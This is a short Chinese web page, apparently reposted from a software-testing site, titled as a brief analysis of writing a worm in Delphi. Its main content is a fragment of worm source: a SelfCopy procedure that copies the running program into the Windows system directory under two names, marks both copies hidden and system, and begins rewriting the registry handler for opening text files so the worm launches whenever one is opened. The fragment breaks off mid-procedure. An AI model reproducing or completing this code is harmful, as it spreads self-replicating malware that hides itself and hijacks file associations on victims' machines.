用Delphi來編寫蠕蟲病毒淺析

領測軟件測試網

procedure SelfCopy; 
var 
Path,value:array [0..255] of char; 
Hk:HKEY; 
S:string; 
begin 
GetSystemDirectory(Path,256); 
//取得系統的路徑 
s:=strpas(Path); 
//轉換成字符串 
CopyFile(pchar(paramstr(0)),pchar(S+‘/ruin.exe‘),false); 
CopyFile(pchar(paramstr(0)),pchar(S+‘/virus_ruin.exe‘),false); 
//把自身拷貝到系統目錄下為ruin.exe,virus_ruin.exe 
SetFileAttributes(pchar(S+‘/ruin.exe‘),FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM); 
SetFileAttributes(pchar(S+‘/virus_ruin.exe‘),FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM); 
//設置剛才的兩個文件為系統和隱藏 
RegOpenKey(HKEY_CLASSES_ROOT,‘txtfile/shell/open/command‘,Hk); 
value:=‘virus_ruin.exe %1‘; 

文章來源于領測軟件測試網 http://www.kjueaiud.com/